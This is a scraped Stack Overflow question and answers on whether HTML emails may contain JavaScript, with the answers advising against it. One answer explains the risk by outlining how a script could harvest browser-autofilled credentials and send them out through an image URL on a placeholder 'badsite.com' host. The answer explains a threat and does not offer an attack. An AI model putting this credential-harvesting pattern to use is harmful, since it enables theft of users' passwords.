问题
This is mostly a rhetorical question, as far as I've checked the answer is 'don't even bother', but I wanted to be really sure.
We have an email app, where you can send email to lists of subscribers. This is not spam: it's used, for example, by an university to send communications to its students, by a museum to send emails to subscribers, etc.
Recently, I was asked by a prospective client if it was possible to send html messages containing javascript without being marked as spam.
Not knowing, I did a short trip of the webs and what I've got is (percentages out of my posterior) 'half the clients won't display properly', 'half the clients will flag you as spam' and 'half the clients will have blocked javascript altogether' (There's clearly some superposition).
So the best solution seems to be adding a link to a proper page if really necessary. Have you got a different experience? Do you know of any email-merge solution that provides this feature? Do you know if specific clients accept it or refuse to display html with javascript?
回答1:
You have listed the right arguments against javascript usage in emails. These show you that it is a bad idea. Linking to a page where you can use javascript freely is a good option and lets the user decide if and when he wants to access this "enhanced" content.
回答2:
With spam being such a big deal I would stick to sending out basic emails that are easily consumable. You can always link to a webpage which has your javascript in it. You can also send a querystring parameter in the URL to track the users who are most interested in your emails because this will tell you they are click into them. So while it may be possible, its probably best to avoid it.
回答3:
yeah it is possible but not recommended. for security purpose most of all Mail management software blocked js or give alert if he include js. if user strict for spam then these mail also goes to spam.
回答4:
The problem of JavaScript is that it poses a security threat. If there is any email client that accepts it, then it's most likely a security vulnerability and should be fixed.
So, really, "don't even bother", because even if it works, it'll soon stop working.
EDIT: Some people don't seem to understand why it is a security risk, so I'll explain.
Consider the following code(one of the multiple ways to steal passwords using Javascript and unsafe email clients).
Using JavaScript:
- Create a form with "username" and "password" input fields.
- Let the browser automatically remember the content of these fields(several users store username and password in the browser's memory to avoid having to type and remember it every time.
- Once both fields are (automatically) filled, send their content to your website using something like
<img src="badsite.com/senddata?username=user&password=pass">. - Congratulations! You've stolen a password!
Usually, just creating a form using JavaScript in your own unsafe website isn't harmful by itself because the browser is smart enough to tell gmail data only to gmail(and you usually don't try to steal passwords from your own website, and in that case there'd be easier ways to steal them anyway).
However, if you allowed JavaScript in emails, then the browser wouldn't be capable of separating legitimate JavaScript from insecure code.
Cookie theft is also possible if an email client can't filter JavaScript.
回答5:
It IS a vulnerability in browsers if the email links to a client that has your username and password cached ... Emails usually open up in browsers ...
来源：https://stackoverflow.com/questions/561039/is-it-possible-recommendable-sending-html-emails-containing-javascript